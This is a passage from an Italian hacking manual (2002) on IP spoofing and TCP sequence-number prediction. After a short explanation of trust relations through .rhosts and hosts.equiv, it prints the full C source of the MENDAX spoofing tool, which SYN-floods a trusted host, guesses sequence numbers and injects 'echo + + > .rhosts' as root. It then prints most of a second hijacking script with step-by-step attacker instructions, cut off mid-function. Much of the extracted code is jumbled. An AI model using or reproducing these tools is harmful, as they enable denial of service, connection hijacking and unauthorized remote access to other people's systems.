Sei sulla pagina 1di 159

Hacker Programming Book

Parte IX Lhacking avanzato

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book

Spoofing
Il termine inglese significa imbrogliare e di fatto lattivit legata allo spoofing appunto quella di imbrogliare i sistemi facendosi credere di essere uno degli host considerati come trust. Sicuramente una delle tecniche pi avanzate nellambito dellhacking in quanto pretende una conoscenza molto buona delo stack del protocollo TCP. Come attivit venne da prima pubblicata sulla carta grazie agli articoli di Steve Bellovin della Bell Laboratories il quale nel 1989 messe sullavviso degli eventuali problemi che il protocollo avrebbe potuto avere. Questa attivit per se stessa sarebbe pi legata al semplice fatto di modificare i dati dentro allheader dei pacchetti inserendo allinterno del campo legato allIP sorgente quello di un IP relativo di un host considerato come fidato. Nellarticolo a cui abbiamo fatto cenno prima, il mondo informatico veniva avvisato del fatto che se in qualche modo ci fosse stata al possibilit di individuare il numero sequenziale usato allinterno degli headers dei pacchetti TCP, allora si sarebbe potuto tranquillamente stabilire una connessione con qualche server facendosi passare per qualche host fidato e questo grazie ad una lacuna dei sistemi Unix. In effetti lopera di falsificazione non solo legata allattivit di sostituzione dei sistemi ma potrebbe anche essere usata per creare degli attacchi DOS. Infatti se gli indirizzi falsificati fossero anche quelli di destinazione sarebbe possibile fare esaurire le risorse di un sistema mediante lutilizzo di indirizzi di broadcast. Attivit pi complesse di quelle che potrebbero essere eseguite soltanto tramite linvio dei pacchetti falsificati richiedono metodi che potrebbero richiedere algoritmi particolari. Sono considerati attacchi di spoofing i seguenti :

Land Teardrop NewTear SynDrop TearDrop2 Bonk Boink Fragment overlap Ping of death IP source route Ping storm smurf ICMP unreachable storm Suspicious router advertisement UDP port loopback snork fraggle SYN flood DNS spoof

Nei capitoli in cui abbiamo parlato dellhandshake dei pacchetti abbiamo visto che allinterno esiste un numero di sequenza il quale dovrebbe essere individuato in tutte quelle attivit in cui si pretende un colloquio tra il server e il client. Infatti questa la parte pi complessa in quelle che sono le attivit di sostituzione degli host. Ogni sistema operativo dispone di metodologie proprie legate alla generazione di questi numeri sequenziali e sempre a riguardo esistono comunque studi di qualsiasi tipo al fine di riuscire a trovare un metodo appropriato per lindividuazione di questi. Lo spoofing si basa sulla supposizione da parte dei servizi offerti dal TCP e dall'UDP che un indirizzo IP sia valido. L'host di un hacker puo' tuttavia utilizzare un routing del codice IP di origine per presentarsi al server nelle vesti di un client valido. Un Hacker pu impiegare il routing dell'IP di origine per

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


specificare un percorso diretto verso una destinazione e un percorso di ritorno verso l'origine(source routing, attualmente il source routing viene disabilitato). Quando io mi presento con un IP diverso dal mio devo far in modo che la risposta alla richiesta che invio mi debba tornare indietro, con il source routing infatti io riesco a specificare un percorso di ritorno( settando alcune opzioni del pacchetto IP), che comprender la mia macchina. In questo modo l'hacker pu intercettare o modificare le trasmissioni. Il seguente esempio mostra il modo in cui il sistema di un hacker pu prendere le vesti di un client valido per un determinato server. 1. L'hacker cambia il proprio indirizzo IP in modo da farlo corrispondere all'indirizzo IP del client valido, in questo caso si parla di indirizzo spoofato. 2. L'hacker poi costruisce un percorso che conduce al server, ovvero il percorso diretto che i pacchetti dovranno prendere per giungere al server e per tornare all'host dell' hacker, utilizzando l'indirizzo del client valido come ultimo tratto del percorso per giungere al server. 3. L'hacker utilizza il percorso di origine per inviare al server una richiesta del client. 4. Il server accetta la richiesta dell'hacker come se questa provenisse dal client valido e poi restituisce la risposta all'host dell'hacker. 5. Ogni risposta alle richieste da parte del client valido viene inviata all'host dell'hacker. Ultimamente ho trovato in rete uno studio che eseguiva una disposizione spaziale delle sequenze numeriche visualizzate mediante grafici i quali rappresentavano stranissime forme. I sistemi di spoofing vengono generalmente utilizzati nellambito delle metodologie indirizzate alla creazione di false relazioni trust sui sistemi Unix in modo tale che questi accettino comandi come rsh e rlogin da un altro computer senza richiedergli la password. Allinterno di molti sistemi Unix esiste il concetto di trusted hosts. Il software di gestione del sistema operativo permetter a questi sistemi definiti come tali di inviare comandi particolari senza richiedere un autenticazione. La comodit di queste definizioni soltanto legata al fatto che gli utenti non devono ridigitare la password tutte le volte anche se poi di fatto questo tipo di gestione crea anche dei problemi di sicurezza. Allinterno dei sistemi operativi Unix esiste un file e precisamente : /etc/hosts.equiv che pu essere utilizzato dal sysadmin per la creazione di host trusted. Se un utente tenta di eseguire il login ad un account presente da un sistema che listato in questo file, gli ver permesso laccesso senza nessuna richiesta di password. Un file il cui scopo simile a quello appena visto : .rhosts Al contrario del file precedente questo permette laccesso solo a combinazioni di user/host particolari. Ogni utente pu creare nella sua home directory il suo file .rhosts personale. A causa dei problemi di sicurezza che pu causare questo file, su molti sistemi questo disabilitato. Un comando del seguente tipo in un sistema con relazioni trust estender questa relazione a qualsiasi host in rete. echo + + >?/.rhosts Un pacchetto legato allattivit di spoofing quello per ambiente Linux denominato MENDAX.
// main.c #include #include #include #include #include <stdio.h> <stdlib.h> <string.h> <unistd.h> <netdb.h>

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


#include <fcntl.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/time.h> #include <net/if.h> #include <arpa/inet.h> #ifdef NIT #include "dnit.h" #include <net/nit_if.h> #endif #include "mendax.h" #include "packet.h" #ifndef NIT # define send_pak(a, b, c) send_pak((a),(b)) #endif #ifdef NIT char ether[6]; #endif char *progname; char Packet[PACKETSIZE]; unsigned long our_seq, target_seq; #ifdef NIT Nit *nitfd; #endif extern char *optarg; extern int optind, opterr, optopt; usage() { fprintf(stderr, "Usage: %s [OPTIONS] <source> <target> [<gateway>]\n\n", progname); fprintf(stderr, " -p PORT first port on localhost to occupy\n"); fprintf(stderr, " -s PORT server port on <source> to swamp\n"); fprintf(stderr, " -l USERNAME user on <source>\n"); fprintf(stderr, " -r USERNAME user on <target>\n"); fprintf(stderr, " -c COMMAND command to execute\n"); fprintf(stderr, " -w PORT wait for a TCP SYN packet on port PORT\n"); fprintf(stderr, " -d read data from stdin and send it.\n"); fprintf(stderr, " -t test whether attack might succeed\n"); fprintf(stderr, " -L TERM spoof rlogind instead of rshd.\n"); fprintf(stderr, " -S PORT port from which to sample seq numbers.\n"); return(0); } Exit(msg, ec) char *msg; int ec; { fprintf(stderr, "%s: %s\n", progname, msg); exit(ec); } flood_host(src, dst, pktcount, flags) struct sockaddr_in *src, *dst; int pktcount; unsigned char flags; { int i;

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


struct opacket pak; struct sockaddr_in from=*src; static unsigned short ip_id = 0; unsigned long seq_num = 343289783; int pktlen; for(i = 0 ; i < pktcount; i++) { from.sin_port = htons(ntohs(from.sin_port) + 1); pktlen = gen_tcp_pak(&pak, &from, dst, ip_id++, seq_num, 0L, 0, flags); seq_num += 64000; /* don't fire dem packets too fucking fast */ usleep(1000); send_pak((char *) &pak, pktlen, ether); putchar('.'); } putchar('\n'); } /* if from->sin_port == 0, we accept packets from any * port on the remote machine. * The same applies to port, except that it's our local port. */ tcp_reply(pak, bufsize, from, port, timeout, flags) char *pak; u_int bufsize, port; struct sockaddr_in *from; struct timeval *timeout; u_char flags; { char *get_ip_pak(); struct ip *ihdr; struct tcphdr *thdr; u_long pktlen; char *p; if((p=get_ip_pak(timeout, &pktlen)) == NULL) return(0); /* check whether our packet is bigger than our buffer. */ if(pktlen > bufsize) return(0); /* Yuk! I hate alignments... */ bcopy(p, pak, (int) pktlen); ihdr = (struct ip *) pak; thdr = (struct tcphdr *) (pak + ihdr->ip_hl * 4); /* bahh.. we only want TCP packets */ if(ihdr->ip_p != IPPROTO_TCP) return(0); /* those packets are not for us */ if(bcmp(&from->sin_addr, &ihdr->ip_src, 4)) return(0); if(from->sin_port && thdr->th_sport != from->sin_port) return(0); if(port && thdr->th_dport != port) return(0); if(thdr->th_flags & flags != flags) return(0); return((unsigned int) pktlen); } guess_ackseq(ackseq, from, pktcount)

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


unsigned long *ackseq; struct sockaddr_in *from; unsigned pktcount; { char *get_ip_pak(); struct diffs { unsigned long diff; int cnt; } diffs[pktcount]; int highdiff, highcnt; int n; time_t starttime; struct ip *ihdr; struct tcphdr *thdr; struct timeval timeout; unsigned long pktlen; unsigned long seqnum, acknum; long diff, olddiff; int i; char *pak; timeout.tv_sec = 1; timeout.tv_usec = 0; starttime = time(NULL); for (i=0; i<pktcount; diffs[i++].cnt=0); for(i = 0; i < pktcount;) { if((time(NULL) - starttime) > (time_t) WAIT) break; if(!tcp_reply(Packet, 1024, from, 0, &timeout, TH_ACK)) continue; ihdr = (struct ip *) Packet; thdr = (struct tcphdr *) (Packet + ihdr->ip_hl * 4); if(i) { int n; int mt; olddiff = diff; diff = ntohl(thdr->th_seq) - seqnum; /* * record the different differences */ for (mt=-1, n=0; n<pktcount; n++) { if (diffs[n].cnt) { if (diffs[n].diff==diff) diffs[n].cnt++; mt=-1; break; } else mt=i; } if (mt!=-1) { diffs[mt].diff=diff; diffs[mt].cnt=1; } } seqnum = ntohl(thdr->th_seq); acknum = ntohl(thdr->th_ack); printf("\nseq number: %lu, ack number: %lu", seqnum, acknum); if(i) printf(" difference: %ld", diff); #ifdef DEBUG hexdump(Packet, pktlen); #endif i++; } puts("\n"); for (highdiff=highcnt=n=0; n<pktcount; n++) if (diffs[n].cnt>highcnt) {

TH_SYN

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


highcnt=diffs[n].cnt; highdiff=diffs[n].diff; } if (highcnt<2) printf("no detectable difference pattern.\n"); else diff=highdiff; printf("using %ld as prediction difference (%d hit%s).\n", highcnt, (highcnt==1)? "": "s"); *ackseq = seqnum + diff; } tcp_handshake(src, dst, myhost, sampleport) struct sockaddr_in *src, *dst, *myhost; u_short sampleport; { struct opacket *pak; char *buf; u_short ip_id = 0x4189; u_short dstport; int i; buf = (char *) malloc(sizeof(struct opacket) * (SAMPLEPACKETS + 1) + 16); pak = (struct opacket *) buf; our_seq = 0; dstport = ntohs(dst->sin_port); dst->sin_port = htons(sampleport); /* Generate TCP SYN packets with myhost's source address */ for (i = 0; i < SAMPLEPACKETS; i ++) { gen_tcp_pak(pak++, myhost, dst, ip_id++, our_seq, TH_SYN); our_seq += 64000; myhost->sin_port = htons(ntohs(myhost->sin_port) + 1); } /* Generate TCP SYN packet with src's source address */ our_seq = 0; dst->sin_port = htons(dstport); gen_tcp_pak(pak, src, dst, ip_id++, our_seq, 0L, 0, TH_SYN); pak = (struct opacket *) buf; #ifndef NIT sock_open(); #endif /* Send packets */ for (i = 0; i < SAMPLEPACKETS + 1; i++) { send_pak((char *) pak, sizeof(struct ip) + sizeof (struct tcphdr), ether); pak++; } /* Calculate next possible sequence number */ #ifndef TEST dstport = ntohs(dst->sin_port); dst->sin_port = htons(sampleport); guess_ackseq(&target_seq, dst, SAMPLEPACKETS); dst->sin_port = htons(dstport); #endif /* acknowledge dst's sequence number */ pak = (struct opacket *) buf; gen_tcp_pak(pak, src, dst, ip_id++, our_seq, ++target_seq, 0, TH_SYN | TH_ACK); send_pak((char *) pak, sizeof(struct ip) + sizeof (struct tcphdr), ether);

diff,

0L,

0,

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book

free(buf); } /* When rshd is spoofed, 'data' has to point to command to be * executed. For spoofing rlogind, 'data' points to the * terminal type. */ spoof_rservice(src, dst, remuser, locuser, term, data) struct sockaddr_in *src, *dst; char *remuser, *locuser, *term, *data; { int slen; char *string, *sptr; if((string = malloc(256)) == NULL) return (-1); bzero(string, 256); sptr = string; slen = strlen(data) + strlen(remuser) + strlen(locuser); if(term != NULL) slen += strlen(term) + 1; /* for rlogind */ if(ntohs(dst->sin_port) == 513) { sptr += 1; slen += 4; } /* for rshd */ if(ntohs(dst->sin_port) == 514) { sptr += 2; slen += 5; } /* build data string and send it to r-service */ bcopy(remuser, sptr, strlen(remuser) + 1); sptr += strlen(remuser) + 1; bcopy(locuser, sptr, strlen(locuser) + 1); sptr += strlen(locuser) + 1; if(term != NULL) { bcopy(term, sptr, strlen(term) + 1); sptr += strlen(term) + 1; } bcopy(data, sptr, strlen(data) + 1); bzero(Packet, PACKETSIZE); bcopy(string, Packet + sizeof(struct opacket), slen); gen_tcp_pak((struct opacket *) Packet, src, dst, 64, our_seq, target_seq, slen, TH_ACK | TH_PUSH); send_pak(Packet, sizeof(struct ip) + sizeof (struct tcphdr) + slen, ether); our_seq += slen; free(string); } /* returns value !=0 on success */ test_host(src, dst, myhost) struct sockaddr_in src, dst, myhost; { time_t starttime; struct timeval timeout; unsigned int flag = 0; unsigned int pktlen; timeout.tv_sec = 1; timeout.tv_usec = 0;

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


printf("sending initial syn packet: "); #ifndef NIT sock_open(); #endif flood_host(&myhost, &dst, 1, TH_SYN); starttime = time(NULL); while(time(NULL) - starttime < WAIT) { if((pktlen = (unsigned int) tcp_reply(Packet, 1024, &dst, 0, &timeout, TH_SYN|TH_ACK))) { flag++; break; } } if(!flag) { printf("warning: initial syn packet was not ack'd.\n"); return(0); } flood_host(&src, &dst, FLOODPACKETS, TH_SYN); printf("flooding host with bogus packets: "); flood_host(&myhost, &dst, 1, TH_SYN); flag = 0; starttime = time(NULL); while(time(NULL) - starttime < WAIT) { if((pktlen = (unsigned int) tcp_reply(Packet, 1024, &dst, 0, &timeout, TH_SYN|TH_ACK))) { flag++; break; } } #ifndef NIT sock_close(); #endif hexdump(Packet, pktlen); printf("resetting host: "); flood_host(&src, &dst, FLOODPACKETS, TH_RST); return(!flag); } send_data(src, dst) struct sockaddr_in *src, *dst; { FILE *in; char string[256]; int slen, tbytes = 0; while(fgets(string, 256, stdin) != NULL) { slen = strlen(string); bcopy(string, Packet + sizeof(struct opacket), slen); gen_tcp_pak((struct opacket *) Packet, src, dst, 64, our_seq, target_seq, slen, TH_ACK | TH_PUSH); send_pak(Packet, sizeof(struct ip) + sizeof (struct tcphdr) + slen, ether); our_seq += slen; /* dunno whether this will work... */ target_seq += tbytes; tbytes = slen; } return(0); } main(argc, argv) int argc;

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


char **argv; { struct sockaddr_in src, dst, myhost, gw, evil; struct timeval timeout; unsigned short myport = 7843, remoteport = 514, serverport = 513, waitport = 0, sampleport = 514; unsigned int ch, tflag = 0, wflag = 0, dflag = 0, Lflag = 0; char hostname[256], string[256], *sptr; char *locuser, *remuser, *command, *term = NULL; progname = argv[0]; timeout.tv_sec = 1; timeout.tv_usec = 0; command = "mv .rhosts .r; echo + + > .rhosts"; remuser = locuser = "root"; gethostname(hostname, 255); if (resolve_host (EVILSITE, &evil) < 0) Exit("cannot resolve address of EVILSITE.", 1); if (resolve_host (hostname, &myhost) < 0) Exit("cannot resolve address of localhost.", 1); #ifdef NIT if (resolve_host (GATEWAY, &gw) < 0) Exit("cannot resolve address of GATEWAY.", 1); #endif while((ch = getopt(argc, argv, "c:dg:l:p:r:s:tw:L:S:")) != -1) { switch(ch) { case 'c': command = optarg; break; case 'd': dflag++; break; #ifdef NIT case 'g': if (resolve_host (optarg, &gw) < 0) Exit("cannot resolve address of GATEWAY.", 1); break; #endif case 'l': locuser = optarg; break; case 'p': myport = atoi(optarg); break; case 'r': remuser = optarg; break; case 's': serverport = atoi(optarg); break; case 't': tflag++; break; case 'w': wflag++;

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


waitport = atoi(optarg); break; case 'L': term = optarg; break; case 'S': sampleport = atoi(optarg); break; case '?': default: usage(); exit(1); } } if (argc - optind !=2) { usage(); exit(1); } if(term == NULL) remoteport = 514; else remoteport = 513; if (resolve_host (argv[optind++], &src) Exit("cannot resolve hostname.", if (resolve_host (argv[optind++], &dst) Exit("cannot resolve hostname.", src.sin_port = htons(serverport); dst.sin_port = htons(remoteport); myhost.sin_port = htons(myport); evil.sin_port= htons(200); #ifdef NIT if (arp(&gw.sin_addr, ether) < 0) Exit("arp failed for gateway. gateway not on local subnet ?", 1); if ((nitfd = NitOpen("le0", NIT_BUFFER, 0, timeout, NI_TIMESTAMP | NI_DROPS | NI_LEN)) == NULL) Exit("cannot initialize /dev/nit.", 1); #endif if(tflag) { dst.sin_port = htons(sampleport); if(!test_host(src, dst, myhost)) printf("attack will probably fail.\n"); else printf("host seems to be unprotected attack.\n"); exit(0); } #ifndef NOFLOOD /* flood source host with TCP SYN packets */ printf("flooding source with TCP SYN packets from %s: ", EVILSITE); flood_host(&evil, &src, FLOODPACKETS, TH_SYN); #endif /* send TCP SYN packets to target. Calculate the difference of the sequence numbers in the received TCP SYN|ACK packets. The last packet's source address is the address of the host we want to impersonate... Then acknowledge TCP SYN|ACK packet with the sequence number we guessed */ printf("sampling sequence numbers...\n"); tcp_handshake(&src, &dst, &myhost, sampleport); < 0) 1); < 0) 1);

from

this

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


if(term == NULL) { printf("spoofing rshd.\n"); spoof_rservice(&src, &dst, remuser, locuser, NULL, command); } else { printf("spoofing rlogind.\n"); spoof_rservice(&src, &dst, remuser, locuser, term, command); } if(wflag) { time_t starttime; unsigned int flag = 0; unsigned int pktlen; starttime = time(NULL); dst.sin_port = 0; while(time(NULL) - starttime < WAIT) { if((pktlen = (unsigned int) tcp_reply(Packet, 1024, &dst, waitport, &timeout, TH_SYN))) { flag++; break; } } hexdump(Packet, pktlen); dst.sin_port = htons(remoteport); if(flag) { printf("spoofing seemed to be successful.\n"); sleep(1); } else printf("No TCP packet received within period.\n"); } else sleep(3); if(dflag) { printf("ready to send data...\n"); send_data(&src, &dst); sleep(3); } /* Resetting connection */ printf("resetting TCP target connection: .\n"); gen_tcp_pak(Packet, &src, &dst, 128, our_seq, target_seq, 0, TH_RST); send_pak(Packet, sizeof(struct ip) + sizeof (struct tcphdr), ether); #ifndef NOFLOOD /* Reset source host's serverport using TCP RST packets. We don't want to wait for a timeout, do we ? */ printf("resetting source: "); flood_host(&evil, &src, FLOODPACKETS, TH_RST); #endif #ifdef NIT NitClose(nitfd); #endif exit(0); }

timeout

Lo spoofing pu essere comqunue applicato a diversi sistemi legati ad internet come ad esempio DNS, mail ecc.

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book IP Spoofing e predizione del numero di sequenza TCP


In altri capitoli abbiamo visto i formati dei pacchetti relativi ai vari protocolli. Una cosa che sicuramente stata notata relativa al fatto che quasi tutti i tipi possedevano al loro interno gli indirizzi relativi a chi inviava i pacchetti e a chi li doveva ricevere. Di questo abbiamo parlato anche nel capitolo precedente ma in questo per non abbiamo fatto cenno al fatto che nelle comunicazioni tra due sistemi una cosa importantissima quello che viene definito come numero di sequenza nellambito delle funzioni di scambio tra questi. Quando abbiamo visto i vari protocolli avevamo detto che quando un sistema richiede ad un server una comunicazione questo inizializza un numero che verr utilizzato come numero sequenziale dei pacchetti. Ogni volta che un sistema risponde ad una certa richiesta incrementa questo numero di un unit e utilizza questo numero allinterno dellapposito campo dellheader del pacchetto. Le operazioni di spoofing possiedono come complicazione massima quella di riuscire ad individuare questo numero al fine di fare accettare ai servers i pacchetti inviati con indirizzi falsificati. Molte trattazioni sono state fatte in merito. Molte si basano sullindividuazione del sistema operativo in quanto in base a questo avvengono determinate scelte iniziali. Allo stesso modo delle molte teorie esistono anche un gran numero di programmi che cercano di aiutare ad identificare questo numero sequenziale. Un di questi quello che segue :
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * ------------------------------------TCP Sequence Number Prediction Script ------------------------------------Compiling: Under Solaris try: gcc tcpseq.c -lsocket -lnsl -L/usr/ucblib -lucb If that doesn't work, use: gcc -o tcpseq tcpseq.c ------------------------------------This script will hijack a TCP connection using TCP Sequence Number Prediction. Script Usage: tcpseq <trusted> <target> ------------------------------------For people who know nothing of this exploit, here's how an attack might be launched. X is the Attacker T is the Target C is a system the Target trusts. First, issue this command: finger -l @x If the target machine has finger enabled, you should get basic information such as logged in users and current connections. If there are no connections, then try issuing this RPC (Remote Procedure Call) on the target machine: showmount -e This command, if successful, will tell you what systems have a trust between them. Pick one at random. That will be C; the system the target trusts. If this doesn't work, but the target machine has current connections, then pick one of the systems connected. That will be the new target. Do the same thing with that machine. Once you know the system the target machine trusts, type this:

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


* tcpseq <c> <t> * You have a 90% chance of success. * ----------------------------------* This script has been brought to you by: * ----------------------------------* ..::[ GoD <god@mayoi.org> ] ::.. * ----------------------------------*/ #include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in_systm.h> #include <netinet/in.h> #include <net/if.h> #include <netinet/ip.h> #ifdef sun #include <netinet/tcp.h> #else /* Linux */ #include <netinet/ip_tcp.h> #endif #include <errno.h> #include <netdb.h> #ifdef sun struct iphdr { u_char

version:4, /* version */ ihl:4; /* header length */ u_char tos; /* type of service */ short tot_len; /* total length */ u_short id; /* identification */ short frag_off; /* fragment offset field */ u_char ttl; /* time to live */ u_char protocol; /* protocol */ u_short check; /* checksum */ unsigned long saddr, daddr; /* source and dest address */

}; #endif /* * Pinched from ping.c * ------------------* in_cksum -* Checksum routine for Internet Protocol family headers (C Version) */ unsigned short in_cksum(addr, len) u_short *addr; int len; { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; /* * Our algorithm is simple, using a 32 bit accumulator (sum), we add * sequential 16 bit words to it, and at the end, fold back all the * carry bits from the top 16 bits into the lower 16 bits. */ while (nleft > 1) { sum += *w++; nleft -= 2; } /* mop up an odd byte, if necessary */ if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)w ;

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


sum += answer; } /* add back carry outs from top 16 bits to low 16 bits */ sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* truncate to 16 bits */ return(answer); } inline void printtcppacket(int r, char *buf, struct sockaddr_in *addr) { struct iphdr *ip; struct tcphdr *tcp; int len=-1; printf("------------------------------------------------------------------------------\n"); /* IP */ printf("Packet Size = %d\n",r); addr->sin_addr.s_addr = ntohl(addr->sin_addr.s_addr); ip = (struct iphdr *) buf; len = ip->ihl << 2; printf("IP Header\n"); printf("---------\n"); printf("length %d, version %d\n",len,ip->version); printf("tos %d, tot_len %d\n",ip->tos, ntohs(ip->tot_len)); printf("id %d, frag_off %d, ttl %d, protocol %d\n",ntohs(ip>id),ntohs(ip->frag_off), ip->ttl, ip->protocol); printf("check %d\n",ntohs(ip->check)); printf("IPFrom %s, ",inet_ntoa(ip->saddr)); printf("IPTo %s\n",inet_ntoa(ip->daddr)); /* TCP */ tcp = (struct tcphdr *) (buf + len); printf("TCP Header\n"); printf("----------\n"); printf("SPort = %hu, DPort = %hu, SeqNum = %lu, AckNum = %lu\n", ntohs(tcp->th_sport), ntohs(tcp->th_dport), ntohl(tcp->th_seq), ntohl(tcp->th_ack)); printf("x2 %d, off %d\n",tcp->th_x2,tcp->th_off); printf("Flags"); if (!tcp->th_flags) printf(" none"); else { if (tcp->th_flags & TH_FIN) printf(" FIN"); if (tcp->th_flags & TH_SYN) printf(" SYN"); if (tcp->th_flags & TH_RST) printf(" RST"); if (tcp->th_flags & TH_PUSH) printf(" PUSH"); if (tcp->th_flags & TH_ACK) printf(" ACK"); if (tcp->th_flags & TH_URG) printf(" URG"); } printf(".\n"); printf("win %d, sum %d, urp %d\n",ntohs(tcp->th_win),ntohs(tcp>th_sum),ntohs(tcp->th_urp)); } inline void gettcppacket(int s, char *buf, int size) {

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


struct sockaddr_in addr; struct iphdr *ip; struct tcphdr *tcp; int len, r; len = sizeof(addr); if ((r = recvfrom(s,buf,size,0,(struct sockaddr *) &addr,&len)) == -1) { perror("recvfrom"); fprintf(stderr,"error: recvfrom returned %d\n",r); exit(1); } /* printtcppacket(r,buf,&addr); */ } inline void sendtcppacket(int s, unsigned long src, unsigned long dest, struct sockaddr_in *addr, unsigned char flags, unsigned short sport, unsigned short dport, unsigned long seqnum, unsigned long acknum, char *data, int datalen) { struct iphdr ip; struct tcphdr tcp; static char packet[4096]; char tcpbuf[4096]; char *ptr; unsigned short size=0; ip.ihl = 5; ip.version = 4; ip.tos = 0; ip.tot_len = htons(40 + datalen); ip.id = htons(666+(rand()%100)); ip.frag_off = 0; ip.ttl = 255; ip.protocol = IPPROTO_TCP; ip.check = 0; ip.saddr = src; ip.daddr = dest; ip.check = in_cksum((char *)&ip,sizeof(ip)); tcp.th_sport = htons(sport); tcp.th_dport = htons(dport); tcp.th_seq = htonl(seqnum); tcp.th_ack = htonl(acknum); tcp.th_x2 = 0; tcp.th_off = 5; tcp.th_flags = flags; tcp.th_win = htons(10052); tcp.th_sum = 0; tcp.th_urp = 0; /* Add in a pseudo IP header */ memset(tcpbuf,0,4096); ptr = tcpbuf; memcpy(ptr,&(ip.saddr),8); /* Both saddr and daddr */ ptr += 9; /* Skip the 0 field */ memcpy(ptr,&(ip.protocol),1); ptr += 1; size = htons(datalen + sizeof(tcp)); memcpy(ptr,&(size),2); ptr += 2; memcpy(ptr,&tcp,sizeof(tcp)+datalen);

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book

tcp.th_sum = in_cksum((char *)tcpbuf,sizeof(tcp)+12+datalen); memcpy(packet,(char *)&ip,sizeof(ip)); memcpy(packet+sizeof(ip),(char *)&tcp,sizeof(tcp)); memcpy(packet+sizeof(ip)+sizeof(tcp),(char *)data,datalen); /* printtcppacket(sizeof(ip)+sizeof(tcp)+datalen,packet,addr); */ if (sendto(s,packet,sizeof(ip)+sizeof(tcp)+datalen,0, (struct sockaddr *)addr, sizeof(struct sockaddr_in)) == -1) { perror("sendto"); exit(1); } } void determine_sequence(int s, int r, unsigned long src, unsigned long dest, struct sockaddr_in *addr, unsigned long *next_seq, unsigned long *offset) { struct iphdr *ip; struct tcphdr *tcp; int i, len; unsigned long start_seq=4321965+getpid(); unsigned long start_port=600; char buf[4096]; unsigned long prev_seq=0, diff=0; *offset=0; for (i=0;i<10;i++) { sendtcppacket(s,src,dest,addr,TH_SYN,start_port,514,start_seq,0,NULL,0); for (;;) { gettcppacket(r,buf,sizeof(buf)); ip = (struct iphdr *) buf; if (ip->saddr != dest) continue; /* printtcppacket(sizeof(buf),buf,addr); */ len = ip->ihl << 2; tcp = (struct tcphdr *) (buf+len); if (ntohs(tcp->th_dport)==start_port && ntohs(tcp->th_sport)==514) { if (prev_seq) { diff=tcp->th_seq-prev_seq; printf("(prev=%u, new=%u, diff=%u\n", prev_seq, tcp->th_seq, diff); } else diff=0; if (*offset==0) *offset=diff; else { if (*offset!=diff) printf("Difference in Offset: old=%u, new=%u\n", *offset, diff); *offset=diff; } prev_seq=tcp->th_seq; sendtcppacket(s,src,dest,addr,TH_RST,start_port++,514,start_seq+ +,0,NULL,0);

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


break; /* out of for loop */ } } } *next_seq=prev_seq+*offset; } void spoof(int s, unsigned long src, unsigned long dest, struct sockaddr_in *addr, unsigned long next_seq) { char buf[4096]; unsigned short port=513; /*char *string="0\0root\0root\0echo + + >>/.rhosts\0"; int stringlen=32;*/ char *string="0\0kurt\0kurt\0/usr/bin/touch /tmp/spoof \0"; int stringlen=39; u_long seq=54378435; int i; /* Send a syn with our own sequence number */ sendtcppacket(s,src,dest,addr,TH_SYN,port,514,seq,0,NULL,0); usleep(5000); /* wait for the other side to SYN,ACK */ sendtcppacket(s,src,dest,addr,TH_ACK,port,514,seq,++next_seq,NULL,0); sendtcppacket(s,src,dest,addr,TH_ACK,port,514,seq,next_seq,string,stringlen) ; seq+=stringlen; sleep(1); sendtcppacket(s,src,dest,addr,TH_FIN,port,514,seq,next_seq,NULL,0); for (i=1;i<4;i++) { sleep(2); sendtcppacket(s,src,dest,addr,TH_ACK,port,514,seq+1,next_seq+i,NULL,0); } usleep(50000); sendtcppacket(s,src,dest,addr,TH_RST,port,514,seq+1,next_seq+4,NULL,0); } void reset_trusted(int s, unsigned long src, unsigned long dest, struct sockaddr_in *addr, unsigned long seq_num[80], unsigned long port_num[80]) { int i; for (i=0;i<80;i++) sendtcppacket(s,src,dest,addr,TH_RST,port_num[i],513,seq_num[i],0,NULL,0); } void hose_trusted(int s, unsigned long src, unsigned long dest, struct sockaddr_in *addr, unsigned long seq_num[80], unsigned long port_num[80]) { int i; unsigned long start_seq=78156767+getpid(); unsigned long start_port=600; for (i=0;i<80;i++) { port_num[i]=start_port++;

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


